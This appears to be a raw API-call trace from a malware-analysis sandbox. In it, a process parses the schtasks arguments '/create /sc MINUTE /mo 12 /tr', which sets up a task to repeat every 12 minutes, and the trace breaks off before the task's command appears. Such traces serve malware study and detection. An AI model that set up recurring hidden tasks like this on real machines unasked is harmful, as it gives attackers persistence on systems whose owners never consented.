[0063.708] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.708] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|ru|") returned 4 [0063.708] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tn|") returned 4 [0063.708] lstrlenW (lpString="|ru|") returned 4 [0063.709] lstrlenW (lpString="|tn|") returned 4 [0063.709] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0063.709] SetLastError (dwErrCode=0x490) [0063.709] lstrlenW (lpString="rp") returned 2 [0063.709] lstrlenW (lpString="rp") returned 2 [0063.709] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.709] lstrlenW (lpString="tn") returned 2 [0063.709] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.709] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|rp|") returned 4 [0063.709] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tn|") returned 4 [0063.709] lstrlenW (lpString="|rp|") returned 4 [0063.709] lstrlenW (lpString="|tn|") returned 4 [0063.709] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0063.709] SetLastError (dwErrCode=0x490) [0063.709] lstrlenW (lpString="sc") returned 2 [0063.709] lstrlenW (lpString="sc") returned 2 [0063.709] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.709] lstrlenW (lpString="tn") returned 2 [0063.709] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.709] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|sc|") returned 4 [0063.709] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tn|") returned 4 [0063.709] lstrlenW (lpString="|sc|") returned 4 [0063.709] lstrlenW (lpString="|tn|") returned 4 [0063.710] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0063.710] SetLastError (dwErrCode=0x490) [0063.710] lstrlenW (lpString="mo") returned 2 [0063.710] lstrlenW (lpString="mo") returned 2 [0063.710] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.710] lstrlenW (lpString="tn") returned 2 [0063.710] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.710] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|mo|") returned 4 [0063.710] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tn|") returned 4 [0063.710] lstrlenW (lpString="|mo|") returned 4 [0063.710] lstrlenW (lpString="|tn|") returned 4 [0063.710] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0063.710] SetLastError (dwErrCode=0x490) [0063.710] lstrlenW (lpString="d") returned 1 [0063.710] lstrlenW (lpString="d") returned 1 [0063.710] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.710] lstrlenW (lpString="tn") returned 2 [0063.710] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.710] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|d|") returned 3 [0063.710] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tn|") returned 4 [0063.710] lstrlenW (lpString="|d|") returned 3 [0063.710] lstrlenW (lpString="|tn|") returned 4 [0063.710] SetLastError (dwErrCode=0x490) [0063.710] lstrlenW (lpString="m") returned 1 [0063.710] lstrlenW (lpString="m") returned 1 [0063.711] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.711] lstrlenW (lpString="tn") returned 2 [0063.711] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.711] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|m|") returned 3 [0063.711] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tn|") returned 4 [0063.711] lstrlenW (lpString="|m|") returned 3 [0063.711] lstrlenW (lpString="|tn|") returned 4 [0063.711] SetLastError (dwErrCode=0x490) [0063.711] lstrlenW (lpString="i") returned 1 [0063.711] lstrlenW (lpString="i") returned 1 [0063.711] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.711] lstrlenW (lpString="tn") returned 2 [0063.711] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.711] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|i|") returned 3 [0063.711] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tn|") returned 4 [0063.711] lstrlenW (lpString="|i|") returned 3 [0063.711] lstrlenW (lpString="|tn|") returned 4 [0063.711] SetLastError (dwErrCode=0x490) [0063.711] lstrlenW (lpString="tn") returned 2 [0063.711] lstrlenW (lpString="tn") returned 2 [0063.711] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.711] lstrlenW (lpString="tn") returned 2 [0063.711] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.712] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tn|") returned 4 [0063.712] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tn|") returned 4 [0063.712] lstrlenW (lpString="|tn|") returned 4 [0063.712] lstrlenW (lpString="|tn|") returned 4 [0063.712] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0063.712] SetLastError (dwErrCode=0x0) [0063.712] SetLastError (dwErrCode=0x0) [0063.712] lstrlenW (lpString="choicec") returned 7 [0063.712] lstrlenW (lpString="-/") returned 2 [0063.712] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0063.712] SetLastError (dwErrCode=0x490) [0063.712] SetLastError (dwErrCode=0x490) [0063.712] SetLastError (dwErrCode=0x0) [0063.712] lstrlenW (lpString="choicec") returned 7 [0063.712] StrChrIW (lpStart="choicec", wMatch=0x3a) returned 0x0 [0063.712] SetLastError (dwErrCode=0x490) [0063.712] SetLastError (dwErrCode=0x0) [0063.712] lstrlenW (lpString="choicec") returned 7 [0063.712] SetLastError (dwErrCode=0x0) [0063.712] SetLastError (dwErrCode=0x0) [0063.712] lstrlenW (lpString="/sc") returned 3 [0063.712] lstrlenW (lpString="-/") returned 2 [0063.712] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0063.712] lstrlenW (lpString="create") returned 6 [0063.712] lstrlenW (lpString="create") returned 6 [0063.712] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.712] lstrlenW (lpString="sc") returned 2 [0063.713] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.713] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|create|") returned 8 [0063.713] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|sc|") returned 4 [0063.713] lstrlenW (lpString="|create|") returned 8 [0063.713] lstrlenW (lpString="|sc|") returned 4 [0063.713] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0063.713] SetLastError (dwErrCode=0x490) [0063.713] lstrlenW (lpString="?") returned 1 [0063.713] lstrlenW (lpString="?") returned 1 [0063.713] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.713] lstrlenW (lpString="sc") returned 2 [0063.713] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.713] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|?|") returned 3 [0063.713] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|sc|") returned 4 [0063.713] lstrlenW (lpString="|?|") returned 3 [0063.713] lstrlenW (lpString="|sc|") returned 4 [0063.713] SetLastError (dwErrCode=0x490) [0063.713] lstrlenW (lpString="s") returned 1 [0063.713] lstrlenW (lpString="s") returned 1 [0063.713] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.713] lstrlenW (lpString="sc") returned 2 [0063.713] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.713] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|s|") returned 3 [0063.713] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|sc|") returned 4 [0063.714] lstrlenW (lpString="|s|") returned 3 [0063.714] lstrlenW (lpString="|sc|") returned 4 [0063.714] SetLastError (dwErrCode=0x490) [0063.714] lstrlenW (lpString="u") returned 1 [0063.714] lstrlenW (lpString="u") returned 1 [0063.714] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.714] lstrlenW (lpString="sc") returned 2 [0063.714] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.714] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|u|") returned 3 [0063.714] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|sc|") returned 4 [0063.714] lstrlenW (lpString="|u|") returned 3 [0063.714] lstrlenW (lpString="|sc|") returned 4 [0063.714] SetLastError (dwErrCode=0x490) [0063.714] lstrlenW (lpString="p") returned 1 [0063.714] lstrlenW (lpString="p") returned 1 [0063.714] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.714] lstrlenW (lpString="sc") returned 2 [0063.714] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.714] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|p|") returned 3 [0063.714] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|sc|") returned 4 [0063.714] lstrlenW (lpString="|p|") returned 3 [0063.714] lstrlenW (lpString="|sc|") returned 4 [0063.714] SetLastError (dwErrCode=0x490) [0063.714] lstrlenW (lpString="ru") returned 2 [0063.714] lstrlenW (lpString="ru") returned 2 [0063.715] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.715] lstrlenW (lpString="sc") returned 2 [0063.715] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.715] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|ru|") returned 4 [0063.715] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|sc|") returned 4 [0063.715] lstrlenW (lpString="|ru|") returned 4 [0063.715] lstrlenW (lpString="|sc|") returned 4 [0063.715] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0063.715] SetLastError (dwErrCode=0x490) [0063.715] lstrlenW (lpString="rp") returned 2 [0063.715] lstrlenW (lpString="rp") returned 2 [0063.715] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.715] lstrlenW (lpString="sc") returned 2 [0063.715] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.715] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|rp|") returned 4 [0063.715] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|sc|") returned 4 [0063.715] lstrlenW (lpString="|rp|") returned 4 [0063.715] lstrlenW (lpString="|sc|") returned 4 [0063.715] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0063.715] SetLastError (dwErrCode=0x490) [0063.715] lstrlenW (lpString="sc") returned 2 [0063.715] lstrlenW (lpString="sc") returned 2 [0063.715] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.716] lstrlenW (lpString="sc") returned 2 [0063.716] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.716] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|sc|") returned 4 [0063.716] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|sc|") returned 4 [0063.716] lstrlenW (lpString="|sc|") returned 4 [0063.716] lstrlenW (lpString="|sc|") returned 4 [0063.716] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0063.716] SetLastError (dwErrCode=0x0) [0063.716] SetLastError (dwErrCode=0x0) [0063.716] lstrlenW (lpString="MINUTE") returned 6 [0063.716] lstrlenW (lpString="-/") returned 2 [0063.716] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0063.716] SetLastError (dwErrCode=0x490) [0063.716] SetLastError (dwErrCode=0x490) [0063.716] SetLastError (dwErrCode=0x0) [0063.716] lstrlenW (lpString="MINUTE") returned 6 [0063.716] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0063.716] SetLastError (dwErrCode=0x490) [0063.716] SetLastError (dwErrCode=0x0) [0063.716] GetProcessHeap () returned 0x240000 [0063.716] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x18) returned 0x25d6b0 [0063.716] _memicmp (_Buf1=0x25d6b0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.716] lstrlenW (lpString="MINUTE") returned 6 [0063.716] GetProcessHeap () returned 0x240000 [0063.716] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0xe) returned 0x25d6d0 [0063.716] lstrlenW (lpString="MINUTE") returned 6 [0063.717] lstrlenW (lpString=" \x09") returned 2 [0063.717] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0063.717] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0063.717] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0063.717] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0063.717] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0063.717] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0063.717] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0063.717] GetLastError () returned 0x0 [0063.717] lstrlenW (lpString="MINUTE") returned 6 [0063.717] lstrlenW (lpString="MINUTE") returned 6 [0063.717] SetLastError (dwErrCode=0x0) [0063.717] SetLastError (dwErrCode=0x0) [0063.717] lstrlenW (lpString="/mo") returned 3 [0063.717] lstrlenW (lpString="-/") returned 2 [0063.717] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0063.717] lstrlenW (lpString="create") returned 6 [0063.717] lstrlenW (lpString="create") returned 6 [0063.717] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.717] lstrlenW (lpString="mo") returned 2 [0063.717] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.717] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|create|") returned 8 [0063.717] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|mo|") returned 4 [0063.717] lstrlenW (lpString="|create|") returned 8 [0063.717] lstrlenW (lpString="|mo|") returned 4 [0063.718] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0063.718] SetLastError (dwErrCode=0x490) [0063.718] lstrlenW (lpString="?") returned 1 [0063.718] lstrlenW (lpString="?") returned 1 [0063.718] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.718] lstrlenW (lpString="mo") returned 2 [0063.718] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.718] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|?|") returned 3 [0063.718] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|mo|") returned 4 [0063.718] lstrlenW (lpString="|?|") returned 3 [0063.718] lstrlenW (lpString="|mo|") returned 4 [0063.718] SetLastError (dwErrCode=0x490) [0063.718] lstrlenW (lpString="s") returned 1 [0063.718] lstrlenW (lpString="s") returned 1 [0063.739] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.739] lstrlenW (lpString="mo") returned 2 [0063.740] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.740] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|s|") returned 3 [0063.740] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|mo|") returned 4 [0063.740] lstrlenW (lpString="|s|") returned 3 [0063.740] lstrlenW (lpString="|mo|") returned 4 [0063.740] SetLastError (dwErrCode=0x490) [0063.740] lstrlenW (lpString="u") returned 1 [0063.740] lstrlenW (lpString="u") returned 1 [0063.740] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.740] lstrlenW (lpString="mo") returned 2 [0063.740] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.740] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|u|") returned 3 [0063.740] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|mo|") returned 4 [0063.740] lstrlenW (lpString="|u|") returned 3 [0063.740] lstrlenW (lpString="|mo|") returned 4 [0063.740] SetLastError (dwErrCode=0x490) [0063.740] lstrlenW (lpString="p") returned 1 [0063.740] lstrlenW (lpString="p") returned 1 [0063.740] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.740] lstrlenW (lpString="mo") returned 2 [0063.740] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.740] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|p|") returned 3 [0063.740] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|mo|") returned 4 [0063.741] lstrlenW (lpString="|p|") returned 3 [0063.741] lstrlenW (lpString="|mo|") returned 4 [0063.741] SetLastError (dwErrCode=0x490) [0063.741] lstrlenW (lpString="ru") returned 2 [0063.741] lstrlenW (lpString="ru") returned 2 [0063.741] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.741] lstrlenW (lpString="mo") returned 2 [0063.741] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.741] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|ru|") returned 4 [0063.741] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|mo|") returned 4 [0063.741] lstrlenW (lpString="|ru|") returned 4 [0063.741] lstrlenW (lpString="|mo|") returned 4 [0063.741] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0063.741] SetLastError (dwErrCode=0x490) [0063.741] lstrlenW (lpString="rp") returned 2 [0063.741] lstrlenW (lpString="rp") returned 2 [0063.741] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.741] lstrlenW (lpString="mo") returned 2 [0063.741] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.741] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|rp|") returned 4 [0063.741] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|mo|") returned 4 [0063.741] lstrlenW (lpString="|rp|") returned 4 [0063.741] lstrlenW (lpString="|mo|") returned 4 [0063.741] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0063.742] SetLastError (dwErrCode=0x490) [0063.742] lstrlenW (lpString="sc") returned 2 [0063.742] lstrlenW (lpString="sc") returned 2 [0063.742] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.742] lstrlenW (lpString="mo") returned 2 [0063.742] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.742] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|sc|") returned 4 [0063.742] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|mo|") returned 4 [0063.742] lstrlenW (lpString="|sc|") returned 4 [0063.742] lstrlenW (lpString="|mo|") returned 4 [0063.742] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0063.742] SetLastError (dwErrCode=0x490) [0063.742] lstrlenW (lpString="mo") returned 2 [0063.742] lstrlenW (lpString="mo") returned 2 [0063.742] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.742] lstrlenW (lpString="mo") returned 2 [0063.742] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.742] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|mo|") returned 4 [0063.742] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|mo|") returned 4 [0063.742] lstrlenW (lpString="|mo|") returned 4 [0063.742] lstrlenW (lpString="|mo|") returned 4 [0063.742] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0063.742] SetLastError (dwErrCode=0x0) [0063.742] SetLastError (dwErrCode=0x0) [0063.743] lstrlenW (lpString="12") returned 2 [0063.743] lstrlenW (lpString="-/") returned 2 [0063.743] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0063.743] SetLastError (dwErrCode=0x490) [0063.743] SetLastError (dwErrCode=0x490) [0063.743] SetLastError (dwErrCode=0x0) [0063.743] lstrlenW (lpString="12") returned 2 [0063.743] StrChrIW (lpStart="12", wMatch=0x3a) returned 0x0 [0063.743] SetLastError (dwErrCode=0x490) [0063.743] SetLastError (dwErrCode=0x0) [0063.743] _memicmp (_Buf1=0x25d6b0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.743] lstrlenW (lpString="12") returned 2 [0063.743] lstrlenW (lpString="12") returned 2 [0063.743] lstrlenW (lpString=" \x09") returned 2 [0063.743] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0063.743] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0063.743] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0063.743] GetLastError () returned 0x0 [0063.743] lstrlenW (lpString="12") returned 2 [0063.743] lstrlenW (lpString="12") returned 2 [0063.743] GetProcessHeap () returned 0x240000 [0063.743] RtlAllocateHeap (HeapHandle=0x240000, Flags=0xc, Size=0x6) returned 0x255560 [0063.743] SetLastError (dwErrCode=0x0) [0063.743] SetLastError (dwErrCode=0x0) [0063.743] lstrlenW (lpString="/tr") returned 3 [0063.743] lstrlenW (lpString="-/") returned 2 [0063.743] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0063.743] lstrlenW (lpString="create") returned 6 [0063.744] lstrlenW (lpString="create") returned 6 [0063.744] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.744] lstrlenW (lpString="tr") returned 2 [0063.744] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.744] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|create|") returned 8 [0063.744] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tr|") returned 4 [0063.744] lstrlenW (lpString="|create|") returned 8 [0063.744] lstrlenW (lpString="|tr|") returned 4 [0063.744] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0063.744] SetLastError (dwErrCode=0x490) [0063.744] lstrlenW (lpString="?") returned 1 [0063.744] lstrlenW (lpString="?") returned 1 [0063.744] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.744] lstrlenW (lpString="tr") returned 2 [0063.744] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.744] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|?|") returned 3 [0063.744] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tr|") returned 4 [0063.744] lstrlenW (lpString="|?|") returned 3 [0063.744] lstrlenW (lpString="|tr|") returned 4 [0063.744] SetLastError (dwErrCode=0x490) [0063.744] lstrlenW (lpString="s") returned 1 [0063.744] lstrlenW (lpString="s") returned 1 [0063.744] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.745] lstrlenW (lpString="tr") returned 2 [0063.745] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.745] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|s|") returned 3 [0063.745] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tr|") returned 4 [0063.745] lstrlenW (lpString="|s|") returned 3 [0063.745] lstrlenW (lpString="|tr|") returned 4 [0063.745] SetLastError (dwErrCode=0x490) [0063.745] lstrlenW (lpString="u") returned 1 [0063.745] lstrlenW (lpString="u") returned 1 [0063.745] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.745] lstrlenW (lpString="tr") returned 2 [0063.745] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.745] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|u|") returned 3 [0063.745] _vsnwprintf (in: _Buffer=0x25c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc448 | out: _Buffer="|tr|") returned 4 [0063.745] lstrlenW (lpString="|u|") returned 3 [0063.745] lstrlenW (lpString="|tr|") returned 4 [0063.745] SetLastError (dwErrCode=0x490) [0063.745] lstrlenW (lpString="p") returned 1 [0063.745] lstrlenW (lpString="p") returned 1 [0063.745] _memicmp (_Buf1=0x25c210, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.745] lstrlenW (lpString="tr") returned 2 [0063.745] _memicmp (_Buf1=0x25c350, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0063.745] _vsnwprintf (in: _Buffer=0x25c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc448 | 